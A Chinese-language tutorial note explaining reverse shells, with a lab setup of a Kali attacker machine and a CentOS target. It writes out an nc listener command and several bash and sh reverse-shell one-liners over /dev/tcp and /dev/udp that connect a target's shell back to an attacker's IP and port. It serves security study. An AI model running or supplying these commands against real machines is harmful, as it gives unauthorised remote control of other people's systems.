简介反弹shell
官方解释:
反向 shell(reverse shell)是一种网络攻击技术,其中攻击者通过在目标系统上植入恶意代码或利用漏洞,将受害者的计算机与攻击者的计算机建立起连接。在这种连接中,攻击者的计算机充当控制端,而受害者的计算机被控制并成为被控端。
具体实现方式如下:攻击者创建一个监听器,通常绑定在攻击者的计算机上的特定端口上。然后,攻击者将植入恶意代码的文件发送给受害者,并诱使受害者执行该文件。一旦受害者执行了该文件,它会尝试与攻击者的计算机上的监听器建立连接。
当连接建立后,攻击者就能够远程控制受害者的计算机,并获取对其命令行界面的访问权限。攻击者可以通过控制端向被控端发送各类命令
个人理解:
就是让我要攻击的目标主动连接我,而不是我去想办法连接它(webshell)
流程步骤
- 攻击者在自己的机器上创建一个监听器,并将其绑定到一个允许的端口上(例如端口号
9999)。 - 攻击者在目标机器上的漏洞或恶意代码中设置命令,使其尝试连接到攻击者机器的 IP 地址和
监听器的端口号(即攻击者的 IP 地址:9999)。 - 目标机器上的恶意代码执行时,它会尝试与攻击者机器上的监听器建立连接。
- 由于监听器绑定在一个允许的端口上,防火墙允许目标机器与攻击者机器建立连接。
- 连接建立后,攻击者就能够通过反向 shell 控制目标机器,执行各种命令、查看文件等等。
具体实现
注意:我的攻击机是kali,靶机是centos。以下的指令都是Linux中的
-
攻击机创建一个监听器,并将其绑定到一个允许的端口上,输入指令:nc -lvvp 端口号
-
在靶机的命令行中输入反弹shell指令
/bin/bash -c bash -i >& /dev/tcp/攻击机的IP地址/攻击机监听的端口0>&1
/bin/bash -c bash -i >& /dev/tcp/攻击机的IP地址/攻击机监听的端口0>&1
-
随后攻击机上就会显示靶机的IP地址
-
然后就可以输入相关指令获取相关资源信息
其他反弹shell指令
sh -i >& /dev/tcp/127.0.0.1/4242 0>&1或/bin/sh -i >& /dev/tcp/127.0.0.1/4242 0>&1
sh -i >& /dev/udp/127.0.0.1/4242 0>&1或/bin/sh -i >& /dev/udp/127.0.0.1/4242 0>&1